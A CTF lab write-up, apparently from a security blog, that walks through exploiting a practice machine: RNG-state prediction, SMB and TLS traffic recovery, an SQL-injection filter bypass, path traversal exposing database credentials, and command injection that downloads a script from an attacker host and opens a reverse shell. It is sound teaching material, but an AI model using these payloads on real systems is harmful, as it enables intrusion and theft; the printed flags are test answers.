nmap<\/code> of the machine (10.8.0.82) shows the following open ports:<\/p>\n\n\n\n$ sudo nmap -Pn -n -sV -sC -O -vv -oN nmap.txt -p- -sS -T4 10.8.0.82\n...\nNmap scan report for 10.8.0.82\nHost is up, received user-set (0.019s latency).\nScanned at 2024-10-19 15:58:08 CEST for 116s\nNot shown: 65529 closed ports\nReason: 65529 resets\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)\n80\/tcp open http syn-ack ttl 61 Werkzeug\/3.0.4 Python\/3.11.2\n| http-auth:\n| HTTP\/1.1 401 UNAUTHORIZED\\x0D\n|_ Basic realm=Authentication Required\n139\/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2\n445\/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2\n1337\/tcp open waste? syn-ack ttl 61\n3306\/tcp open mysql syn-ack ttl 61 MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1<\/code><\/pre>\n\n\n\nOn this server, an SSH server is running on port 22, an HTTP server on port 80 requiring authentication, an SMB server on ports 139 and 445, and a MySQL server open on port 3306. Another unknown service on port 1337 is also open. We will explore these one by one.<\/p>\n\n\n\n
Port 1337: Casino RNG Manipulation<\/h2>\n\n\n\n
If we connect to port 1337<\/code> using netcat (nc<\/code>), we get a ton out [DEBUG]<\/code> output before a menu asking us to flip a coin or roll a dice:<\/p>\n\n\n\n$ nc -v 10.8.0.82 1337\nConnection to 10.8.0.82 1337 port [tcp\/*] succeeded!\n[DEBUG] ZnJvbSB0ZXJtY29sb3IgaW1wb3J0IGNwcmludApmcm9tIGNvbG9yYW1hIGltcG9ydCBGb3JlCmZyb20gYmFz\n...\nZiJZb3Ugd2luISEhIHtGTEFHfSIsICJ5ZWxsb3ciKQogICAgICAgICAgICBicmVhawogICAgZWxzZToKICAgICAgICBjcHJpbnQoIkludmFsaWQgY2hvaWNlISIsICJyZWQiKQo=\n[DEBUG] (3, (2147483648, 1887914744, 2756020746, 201810272, 3359707872, 3156406226, 2992947414, 1530504030, 2648658794, 228605079,\n...\n4239002166, 3110075729, 11230755, 3014065313, 3922022629, 1767810001, 624), None)\n\nWelcome to the Casino!\n\n1. Flip coin\n2. Roll dice\nChoice:<\/code><\/pre>\n\n\n\nThe first line of debugging output looks suspiciously like Base64. After decoding the string using CyberChef<\/a>, we get the following Source Code<\/strong>:<\/p>\n\n\n\nfrom termcolor import cprint\nfrom colorama import Fore\nfrom base64 import b64encode\nimport random\n\nfrom secret import FLAG\n\ncprint(f"[DEBUG] {b64encode(open(__file__, 'rb').read()).decode()}", "dark_grey")\ncprint(f"[DEBUG] {random.getstate()}", "dark_grey")\n\nprint()\ncprint("Welcome to the Casino!", "yellow", attrs=["blink"])\n\ndef coin_art(result):\n if result == "Heads":\n return """ ╓────╖\\n ╔╝ ╚╗\\n╔╝ █ █ ║\\n║ █▀█ ╔╝\\n╚╗ ▀ ▀╔╝\\n ╙────╜"""\n else:\n return """ ╓────╖\\n╔╝ ╚╗\\n║ ▀█▀ ╚╗\\n╚╗ █ ║\\n ╚╗ ▀ ╔╝\\n ╙────╜"""\n\ndef dice_art(n):\n if n == 1:\n return """┌───────┐\\n│ │\\n│ • │\\n│ │\\n└───────┘"""\n elif n == 2:\n return """┌───────┐\\n│ • │\\n│ │\\n│ • │\\n└───────┘"""\n elif n == 3:\n return """┌───────┐\\n│ • │\\n│ • │\\n│ • │\\n└───────┘"""\n elif n == 4:\n return """┌───────┐\\n│ • • │\\n│ │\\n│ • • │\\n└───────┘"""\n elif n == 5:\n return """┌───────┐\\n│ • • │\\n│ • │\\n│ • • │\\n└───────┘"""\n elif n == 6:\n return """┌───────┐\\n│ • • │\\n│ • • │\\n│ • • │\\n└───────┘"""\n\nsixes = 0\nwhile True:\n print()\n print("1. Flip coin")\n print("2. Roll dice")\n choice = input("Choice: " + Fore.LIGHTCYAN_EX) or choice\n print(Fore.RESET)\n if choice == "1":\n result = random.choice(["Heads", "Tails"])\n cprint(coin_art(result) + f"\\nThe coin landed on {result}!", "green")\n elif choice == "2":\n result = random.randint(1, 6)\n cprint(dice_art(result) + f"\\nThe dice roll was {result}!", "green")\n if result == 6:\n sixes += 1\n cprint(f"Nice, your streak is at {sixes}\/100.", "green")\n else:\n sixes = 0\n cprint(f"Not a 6, your streak is back to 0.", "light_red")\n\n if sixes == 100:\n cprint(f"You win!!! {FLAG}", "yellow")\n break\n else:\n cprint("Invalid choice!", "red")<\/code><\/pre>\n\n\n\nReading the code, the first flip coin<\/em> option just executes random.choice()<\/code> between two strings and prints the result with some ASCII art. Next, the roll dice<\/em> option seems more interesting. If the result of random.randint(1, 6)<\/code> happened to be 6<\/code>, your stream stored in sixes<\/code> is increased by one. When you don’t roll a six, however, your streak is reset. When you reach a streak of 100 sixes in a row, the flag is printed.<\/p>\n\n\n\nMathematically, you won’t just get lucky by trying to roll the dice until you succeed. The probability of rolling a six is 1\/6<\/code>, which you need to do 100 times. Even if you would be able to do millions of attempts per second, it would take many universe lifetimes until you would hit a stream of 100. (calculation<\/a>)<\/p>\n\n\n\nInstead, we have to abuse a vulnerability in the program. The second like of [DEBUG]<\/code> output shows a large array that comes from random.getstate()<\/code>. Reading the documentation<\/a>, we find that another method called random.setstate()<\/code> exists that takes the output of this object to reproduce a random state. This can be used to make predictions about what the random generator’s next output will be:<\/p>\n\n\n\n>>> import random\n>>> state = random.getstate()\n>>> random.getrandbits(32)\n3774869789\n>>> random.getrandbits(32)\n2344517096\n>>> random.setstate(state) # Reset the random state\n>>> random.getrandbits(32)\n3774869789\n>>> random.getrandbits(32)\n2344517096<\/code><\/pre>\n\n\n\nThe above shows that we can recover the full state of the RNG with this method to know in advance what it will output. Using the logic of the application, one idea would be to check locally if the next random.randint(1, 6)<\/code> would be a 6, and if it is not, flip coins (random.choice()<\/code>) until it is. Only then roll the dice to ensure it is always a six!<\/p>\n\n\n\nWe can implement this in Python to automate the process. The pwntools<\/a> library helps with TCP interaction, and tqdm<\/a> has a nice and simple progress bar. We will synchronize the random state with the remote server, and then flip coins until the dice would become a 6. Then, we roll the dice on the remote connection and do so for 100 rounds. This prints the flag at the end:<\/p>\n\n\n\nfrom pwn import *\nfrom tqdm import tqdm\n\np = remote("10.8.0.82", 1337)\n\np.recvline() # skip source code\nstate = p.recvline().split(b"[DEBUG] ")[1].split(b"\\x1b")[0]\nstate = safeeval.const(state)\nrandom.setstate(state) # sync random state\n\n\nfor i in tqdm(range(100), desc="Rounds"):\n # Synchronize state and iterate until the next dice roll is 6\n while random.randint(1, 6) != 6:\n random.setstate(state)\n random.choice(["Heads", "Tails"])\n p.sendlineafter(b"Choice: ", b"1")\n state = random.getstate()\n\n p.sendlineafter(b"Choice: ", b"2")\n tqdm.write(p.recvline_contains(b"streak"))\n\np.interactive() # CTF{y0U_mU5t_B3_v3e3eEE3ry_LuCKY}<\/code><\/pre>\n\n\n\nSMB Share: PCAP Decryption<\/h2>\n\n\n\n
On ports 139 and 445, an SMB share is present. Without authentication, we can list the shares and find one named Final<\/code>:<\/p>\n\n\n\n$ smbclient -L '\/\/10.8.0.82' -U '%'\n\nSharename Type Comment\n--------- ---- -------\nFinal Disk \nIPC$ IPC IPC Service (Samba 4.17.12-Debian)<\/code><\/pre>\n\n\n\nConnecting to it, we find one file named intercepted.zip<\/code>, which we can retrieve:<\/p>\n\n\n\n$ smbclient '\/\/10.8.0.82\/Final' -U '%'\nTry "help" to get a list of possible commands.\nsmb: \\> ls\n . D 0 Wed Oct 2 22:25:09 2024\n .. D 0 Wed Oct 2 22:25:08 2024\n intercepted.zip N 74214 Wed Oct 2 22:25:09 2024\n\n 50620216 blocks of size 1024. 46381328 blocks available\nsmb: \\> get intercepted.zip\ngetting file \\intercepted.zip of size 74214 as intercepted.zip (589.2 KiloBytes\/sec) (average 589.2 KiloBytes\/sec)<\/code><\/pre>\n\n\n\nAfter unzipping this file, we find final.pcapng<\/code> and file.log<\/code>:<\/p>\n\n\n\n$ unzip intercepted.zip\nArchive: intercepted.zip\n inflating: final.pcapng\n inflating: file.log\n$ file final.pcapng file.log\nfinal.pcapng: pcapng capture file - version 1.0\nfile.log: ASCII text, with CRLF line terminators<\/code><\/pre>\n\n\n\nThe file.log<\/code> appears to be a TLS log file, containing handshake secrets:<\/p>\n\n\n\n$ head file.log\n# SSL\/TLS secrets log file, generated by NSS\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 952a30ad79baead50e0980b56deee3e8a4875f95d4687b18793f36381971903f\nSERVER_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 be949785a33829b2f463a73d327b00588db1c304f1683f58ce058f601ae7e823\nCLIENT_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 d060a08cd1f87fd8d6752413c18d2e564117b3c8a67ffc97e9a4b3ce97b8e413\nSERVER_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 221ef1787bf1ed9457dccd794cf1c10b3b5aec09dbcaed79a8c856bc43202e71\nCLIENT_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 47821337da2a1d042b640331c4299f32a5106f8714090dbddd648bbfc5d0258d\nSERVER_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 66b4b833b79c7327bc2b32da93b074371f3c60c7072cd9c60cf9595c3348b200\nEXPORTER_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 84f5fce76f38d53f7fd8f29461696f85c607cb02bbe4a86f539de079ce39d59f\nCLIENT_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 7b41d30167eb04c53bd912590f9e5e63104e2ee789efdaa563032cda12f17522\nSERVER_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 16df67c12ea5bee3bfef9094a7fe2f063082acc0ff4c4f90d051b6b74d648553<\/code><\/pre>\n\n\n\nThe .pcapng<\/code> file can be opened in Wireshark<\/a>. This shows many different protocols, including a small tls<\/code> part. If we search about how to decrypt this TLS traffic, the Wireshark documentation explains<\/a> that in the preferences, a (Pre-)-Master-Secret<\/em> log file can be selected. This sounds a lot like what is given in file.log<\/code>.<\/p>\n\n\n\nIn Wireshark, we need to open Edit<\/em>->Preferences<\/em> and expand the Protocols<\/em> section. Then, find TLS<\/em> in this list and click Browse<\/em> on the last option. If we select our file.log<\/code> here and press OK, we find that all the tls<\/code> traffic has been decrypted!<\/p>\n\n\n\n![\"\"](\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted-1024x579.png\")
<\/figure>\n\n\n\nLooking at the Server Hello<\/code> message of the TLS handshake, we find a new tab named Decrypted TLS<\/em>. This contains the encrypted data about the certificate that is sent to the client. It includes a flag in multiple parts of the certificate, the issuer<\/code> and subject<\/code>.<\/p>\n\n\n\nFlag: CTF{TLS_C3RT1F1C4T3_F0UND}<\/code><\/p>\n\n\n\n<\/a>PCAP: Extracting PDF<\/h2>\n\n\n\nThere is now http<\/code> traffic that posts to a \/upload<\/code> URL with Content-Type: application\/pdf<\/code>. We can try to extract this data manually, but Wireshark has an option in File<\/em> -> Export Objects<\/em> -> HTTP…<\/em> to Save all<\/em> objects to any directory. This will write the \/upload<\/code> form data including the PDF.<\/p>\n\n\n\n$ cat upload\n-----------------------------1285009858361488843608501223\nContent-Disposition: form-data; name="file"; filename="Ticket ID.pdf"\nContent-Type: application\/pdf\n\n%PDF-1.7\n...\n38585\n%%EOF\n-----------------------------1285009858361488843608501223--<\/code><\/pre>\n\n\n\nThe file appears to still contain form boundaries, but PDF looks for the header and trailer at any location in the file. If we just rename it to upload.pdf<\/code>, we can open it with any PDF reader. Here, we read the following:<\/p>\n\n\n\n\nTicket ID<\/strong>: #195521
Ticket Title<\/strong>: Issue Connecting to server
Description<\/strong>: I’m experiencing an issue while trying to connect to an internal application on my Linux machine. When I attempt to launch the app via the terminal, I’m receiving the following error message<\/p>\n\n\n\nuser@ubuntu:~$ .\/connect.sh\nPlease provide password: [BLURRED_PASSWORD]\n[ERROR] Connection failed: Unable to reach the server\n[ERROR] Timeout occurred during handshake\n[ERROR] CTF{D0NT_BL4R_P4SSW0RDS}\n[ERROR] Exiting application with code 1<\/code><\/pre>\n\n\n\nI’ve already tried the following troubleshooting steps:<\/p>\n\n\n\n
\n- Verified network connectivity (pinged the server, which responded correctly).<\/li>\n\n\n\n
- Restarted the application and my machine.<\/li>\n\n\n\n
- Checked the firewall settings—nothing seems to be blocking the application.<\/li>\n<\/ol>\n\n\n\n
Let me know if you need any additional information. Thank you!<\/p>\n<\/blockquote>\n\n\n\n
A flag can be found in the contents: CTF{D0NT_BL4R_P4SSW0RDS}<\/code><\/p>\n\n\n\n<\/a>PDF: Unblurring Password<\/h2>\n\n\n\nAn image is placed over the Please provide password:<\/code> prompt with what looks to be a blurred password. We can extract the full image using Python or the pdfimages<\/code> command:<\/p>\n\n\n\n$ pdfimages upload.pdf -all out\n$ file out-000.png\nout-000.png: PNG image data, 205 x 15, 8-bit\/color RGB, non-interlaced<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/depix_before.png\")
<\/figure>\n\n\n\nThe image is still unreadable to the human eye, but tools such as Depix<\/a> exist to try and brute force characters and match<\/strong> the generated blurred squares. Running this tool over the image with the debruinseq_notepad_Windows10_closeAndSpaced.png<\/code> example usage, a slightly readable image is generated.<\/p>\n\n\n\ndepix -p out-000.png -s images\/searchimages\/debruinseq_notepad_Windows10_closeAndSpaced.png -o unblurred.png<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/depix_after.png\")
<\/figure>\n\n\n\nThe image is still unreadable to the human eye, but tools such as Depix<\/a> exist to try and brute force characters and match<\/strong> the generated blurred squares. Running this tool over the image with the debruinseq_notepad_Windows10_closeAndSpaced.png<\/code> example usage, a slightly readable image is generated.<\/p>\n\n\n\n\nHello from the other side<\/p>\n<\/blockquote>\n\n\n\n
You might have also recognized the image\/text from the example in the Depix documentation<\/a>.<\/p>\n\n\n\nThis password allows us to log in to the Web Application on port 80. The username is user<\/code> as found on the console in the PDF (user@ubuntu:~$<\/code>).<\/p>\n\n\n\n$ curl -D - 'http:\/\/10.8.0.82'\nHTTP\/1.1 401 UNAUTHORIZED\nServer: Werkzeug\/3.0.4 Python\/3.11.2\nDate: Sat, 19 Oct 2024 15:11:51 GMT\nContent-Type: text\/html; charset=utf-8\nContent-Length: 19\nWWW-Authenticate: Basic realm="Authentication Required"\nConnection: close\n\nUnauthorized Access<\/code><\/pre>\n\n\n\nThe web application requires ‘Basic Authentication’, which curl supports with -u<\/code>:<\/p>\n\n\n\n$ curl -D - -u 'user:Hello from the other side' 'http:\/\/10.8.0.82'\nHTTP\/1.1 302 FOUND\nServer: Werkzeug\/3.0.4 Python\/3.11.2\nDate: Sat, 19 Oct 2024 15:12:11 GMT\nContent-Type: text\/html; charset=utf-8\nContent-Length: 197\nLocation: \/ftp\/\nConnection: close\n\n<!doctype html>\n<html lang=en>\n<title>Redirecting...<\/title>\n<h1>Redirecting...<\/h1>\n<p>You should be redirected automatically to the target URL: <a href="\/ftp\/">\/ftp\/<\/a>. If not, click the link.<\/code><\/pre>\n\n\n\nWe are successfully authenticated and can now access the web application on \/ftp\/<\/code>.<\/p>\n\n\n\nWeb Application: SQL Injection<\/h2>\n\n\n\n
An alternative method of authenticating to the web application without the PDF extraction and password unblurring is by attacking the Basic Authentication scheme it uses.<\/p>\n\n\n\n
Inputting any wrong combination just results in an “Unauthorized Access” message:<\/p>\n\n\n\n
$ curl -u 'user:pass' 'http:\/\/10.8.0.82\/'\nUnauthorized Access<\/code><\/pre>\n\n\n\nWe can try some special characters<\/strong> in the username and\/or password to see if the application responds differently:<\/p>\n\n\n\n$ curl -u 'user")]}{[(*%:pass")]}{[(*%' 'http:\/\/10.8.0.82\/'\nBlocked symbol: '('<\/code><\/pre>\n\n\n\nIt sure does! But it is blocking one of our special characters. We can remove it and continue until we find which aren’t blocked:<\/p>\n\n\n\n
$ curl -u 'user")]}{[*%:pass' 'http:\/\/10.8.0.82\/'\nBlocked symbol: ')'\n$ curl -u 'user"]}{[*%:pass' 'http:\/\/10.8.0.82\/'\nBlocked symbol: '*'\n$ curl -u 'user"]}{[%:pass' 'http:\/\/10.8.0.82\/'\nBlocked symbol: '%'\n$ curl -u 'user"]}{[:pass' 'http:\/\/10.8.0.82\/'\nYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ']}{[" AND password="pass"' at line 1\n$ curl -u 'user":pass' 'http:\/\/10.8.0.82\/'\nYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'pass"' at line 1<\/code><\/pre>\n\n\n\nSuddenly, a MySQL error appears! This happens when we only put a "<\/code> character in our username\/password. A great sign at SQL Injection. The SQL statement we are attacking is likely similar to this:<\/p>\n\n\n\nSELECT * FROM users WHERE username = "user" AND password = "pass";\n-- Injected:\nSELECT * FROM users WHERE username = "user"" AND password = "pass";<\/code><\/pre>\n\n\n\nNormally, we could bypass this by continuing the syntax of the query after closing the username quote. Using " OR 1=1;-- -<\/code> as a payload, it should make the condition always true and ignore the password:<\/p>\n\n\n\nSELECT * FROM users WHERE username = "" OR 1=1;-- -" AND password = "pass";<\/code><\/pre>\n\n\n\n$ curl -u 'user" OR 1=1;-- -:pass' 'http:\/\/10.8.0.82\/'\nBlocked keyword: 'OR'<\/code><\/pre>\n\n\n\nUnfortunately, the filter also blocks keywords like “OR”, and it is case-insensitive. Even if we were able to find a different useful keyword here, the =<\/code> and -<\/code> characters are blocked as well.<\/p>\n\n\n\nCommenting out the rest of the query isn’t entirely needed in this case, because we can just repeat the always-true payload for the username in the password to pass its check. The question is, how do we make a condition always true with all these filters blocking special characters and keywords?<\/p>\n\n\n\n
We can check the documentation<\/a> for more operators like OR<\/code>. Instead of working with booleans, MySQL can also perform integer operations on strings by silently casting them. The following page can be used to easily play around with queries to understand what is happening.<\/p>\n\n\n\nhttps:\/\/www.db-fiddle.com\/f\/928DfgRkMHCZri3ryqhWuu\/0<\/a><\/p>\n\n\n\nLet’s take the following query, and understand what happens:<\/p>\n\n\n\n
SELECT * FROM users WHERE username=""-0;<\/code><\/pre>\n\n\n\nWhen running it on DB Fiddle, all records are returned. Why is that? Well, we need to evaluate the WHERE<\/code> expression just like MySQL would. We need to understand “Type Conversion”<\/a> and “Operator Precedence”<\/a>.
Subtraction happens before equals, and strings that don’t look like numbers are converted to 0. We look at the expression here and see that it evaluates to the following:<\/p>\n\n\n\nusername=""-0;\n"user"=""-0;\n"user"=(""-0);\n"user"=0;\n0=0;\n1;\nTRUE;<\/code><\/pre>\n\n\n\nThat is why the weird expression above resulted in all records being returned. Still, -<\/code> is a blocked character, but maybe we can come up with different unblocked operators that abuse these same rules. This turns out to be pretty easy because all we need to do is implicitly cast the input string to an integer, which will be 0, and is then always compared to another 0.<\/p>\n\n\n\nThe \/<\/code> (divide) operator has an alternative representation as DIV<\/code>. By dividing a string by a number like 1, it is turned into 0, equaling the other string that also casts to 0. The following works:<\/p>\n\n\n\nSELECT * FROM users WHERE username=""DIV 1;<\/code><\/pre>\n\n\n\nHowever, this still isn’t enough because our injection also ends with a "<\/code> character. If we were to inject username=""DIV"";<\/code>, the strings would cast to 0 and 0\/0 = null<\/code>. username=null<\/code> won’t be true, so we won’t bypass the check. Instead, we can make the string cast to 1 by letting it be "1"<\/code>:<\/p>\n\n\n\nSELECT * FROM users WHERE username=""DIV"1";\n-- What happens in the background:\nSELECT * FROM users WHERE "user"=(""DIV"1");\nSELECT * FROM users WHERE "user"=(0 DIV 1);\nSELECT * FROM users WHERE "user"=0;\nSELECT * FROM users WHERE 0=0;\nSELECT * FROM users WHERE TRUE;<\/code><\/pre>\n\n\n\nThis creates an always-true condition and<\/em> bypasses the SQL Injection filter in the application, successfully logging us in when put in both the username and password:<\/p>\n\n\n\n$ curl -u '"DIV"1:"DIV"1' 'http:\/\/10.8.0.82\/'\n<!doctype html>\n<html lang=en>\n<title>Redirecting...<\/title>\n<h1>Redirecting...<\/h1>\n<p>You should be redirected automatically to the target URL: <a href="\/ftp\/">\/ftp\/<\/a>. If not, click the link.<\/code><\/pre>\n\n\n\nThis allows us to look at the authenticated \/ftp\/<\/code> page.<\/p>\n\n\n\nWeb Application: Local File Read<\/h2>\n\n\n\n
After authenticating, the web page looks like this:<\/p>\n\n\n\n
$ curl -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/'\n<h1>WebFTP<\/h1>\n<ul>\n <li><a href="\/ftp\/?filename=file.txt">file.txt<\/a><\/li>\n <li><a href="\/ftp\/dir">dir\/<\/a><\/li>\n<\/ul>\n<form method="post" enctype="multipart\/form-data">\n <input type="file" name="file" \/>\n <input type="submit" value="Upload" \/>\n<\/form><\/code><\/pre>\n\n\n\nWe can upload and download files here, like an FTP server. All endpoints detect the use of ..\/<\/code> for path traversal vulnerabilities, but one parameter misses this check. When downloading the file, the URL path and filename parameter are appended together. This URL path that serves as the directory is missing a ..\/<\/code> check, allowing it to traverse to any directory:<\/p>\n\n\n\n\nTip<\/strong>: When using curl or the browser, ..\/<\/code> sequences in the path are automatically removed and won’t be sent to the remote server. Use a proxy like Burp Suite or the --path-as-is<\/code> argument to have more control.<\/p>\n<\/blockquote>\n\n\n\n$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/..\/..\/etc?filename=passwd'\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\n...<\/code><\/pre>\n\n\n\nThis allows us to enumerate the server. From looking at the headers, we know that a Python server is hosting this application. Using only a single ..\/<\/code> sequence, we can hopefully traverse outside of the files\/<\/code> directory into the source code. Then, Python applications often have a requirements.txt<\/code> file which we can read to confirm:<\/p>\n\n\n\n$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/?filename=requirements.txt'\nFlask\nFlask-HTTPAuth\nmariadb<\/code><\/pre>\n\n\n\nNext, we can try to find the source code itself in app.py<\/code> or main.py<\/code>:<\/p>\n\n\n\n$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/?filename=app.py'\nFile not found\n$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/?filename=main.py'\nfrom flask import Flask, redirect, render_template, request, send_file, Response\nfrom flask_httpauth import HTTPBasicAuth\n...<\/code><\/pre>\n\n\n\nGreat, we found the main source code file. Here, we find a database configuration with credentials. We remember from the nmap<\/code> output that MySQL is exposed to the outside, so we can try to connect to it.<\/p>\n\n\n\napp = Flask(__name__)\nauth = HTTPBasicAuth()\nDB_CONFIG = {\n 'host': 'localhost',\n 'port': 3306,\n 'user': 'webftp',\n 'password': 'D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07',\n 'database': 'webftp'\n}\n...\n@auth.verify_password\ndef verify_password(username, password):\n for input in [username, password]:\n for blocked in ["UNION", "SELECT", "WHERE", "AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP"]:\n if re.search(rf"\\b{re.escape(blocked)}\\b", input, re.IGNORECASE):\n raise ValueError(f"Blocked keyword: {blocked!r}")\n for blocked in "()&|^=<>+-*\/%":\n if blocked in input:\n raise ValueError(f"Blocked symbol: {blocked!r}")\n\n data = sql_query(\n f"SELECT username FROM users WHERE username=\\"%s\\" AND password=\\"%s\\"" % (username, password))\n\n if len(data) > 0:\n os.system(f"echo '{data[0][0]} logged in' >> \/var\/log\/webftp.log")\n return True<\/code><\/pre>\n\n\n\nWe can also notice the verify_password()<\/code> function with the SQL Injection filter from earlier, as well as a suspicious os.system()<\/code> call with output from the SQL query.<\/p>\n\n\n\nLet’s connect to the database and enumerate it:<\/p>\n\n\n\n
$ mysql -h 10.8.0.82 -u webftp -p webftp\nEnter password: D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07\n\nMariaDB [webftp]> show tables;\n+------------------+\n| Tables_in_webftp |\n+------------------+\n| flag |\n| users |\n+------------------+\n2 rows in set (0.019 sec)\n\nMariaDB [webftp]> select * from flag;\n+--------------------------------------------------+\n| flag |\n+--------------------------------------------------+\n| CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!} |\n+--------------------------------------------------+\n1 row in set (0.023 sec)<\/code><\/pre>\n\n\n\nAnother flag found: CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!}<\/code><\/p>\n\n\n\nWeb Application: Command Injection<\/h2>\n\n\n\n
Above we have just gotten access to the database, and found the logic of logging in. os.system()<\/code> is called with the username after a successful login, input enclosed on '<\/code> quotes. We could inject '; id; '<\/code> to execute an arbitrary id<\/code> command. The user doesn’t exist yet, but with access to the database, we can create it. Note that if we want to input the username later, we need to still bypass the blocked characters from the SQL Injection filter. Either by finding the initial Login Bypass which doesn’t require inputting the username, or by making a payload that doesn’t require any blocked characters:<\/p>\n\n\n\nMariaDB [webftp]> UPDATE users SET username="';rm index.html;wget 10.9.0.77;sh index.html;'";\nQuery OK, 1 row affected (0.055 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nMariaDB [webftp]> select * from users;\n+----+------------------------------------------------+---------------------------+\n| id | username | password |\n+----+------------------------------------------------+---------------------------+\n| 1 | ';rm index.html;wget 10.9.0.77;sh index.html;' | hello from the other side |\n+----+------------------------------------------------+---------------------------+\n1 row in set (0.024 sec)\n<\/a><\/code><\/pre>\n\n\n\nNow we host our payload to download, and a reverse shell, then log in to trigger it:<\/p>\n\n\n\n
$ curl --path-as-is -u "';rm index.html;wget 10.9.0.77;sh index.html;':Hello from the other side" 'http:\/\/10.8.0.82\/'<\/code><\/pre>\n\n\n\n$ sudo python3 -m http.server 80\nServing HTTP on 0.0.0.0 port 80 (http:\/\/0.0.0.0:80\/) ...\n192.168.96.1 - - [19\/Oct\/2024 21:56:38] "GET \/ HTTP\/1.1" 200 -<\/code><\/pre>\n\n\n\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 192.168.96.1 1976\nsh: 0: can't access tty; job control turned off\n$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)<\/code><\/pre>\n\n\n\nWe now have a shell! After enumerating the system for a bit, you may notice the \/getflag<\/code> binary:<\/p>\n\n\n\n$ ls -la \/\ntotal 540\n...\n-rwx--x--x 1 root root 474704 Oct 2 20:26 getflag<\/code><\/pre>\n\n\n\nRunning it will grant one flag of the current user (www-data<\/code>). It also explains that there are two more user flags for the admin<\/code> and root<\/code> user.<\/p>\n\n\n\n$ getflag\nGet the flag for the current user. Only 'www-data', 'admin' and 'root' have flags.\nCongratulations!\nwww-data's flag is: CTF{dubdubdub_f0r_y0u_n3v3r_tru5t_th3_d4t4b453}<\/code><\/pre>\n\n\n\nEnvironment Variables<\/h2>\n\n\n\n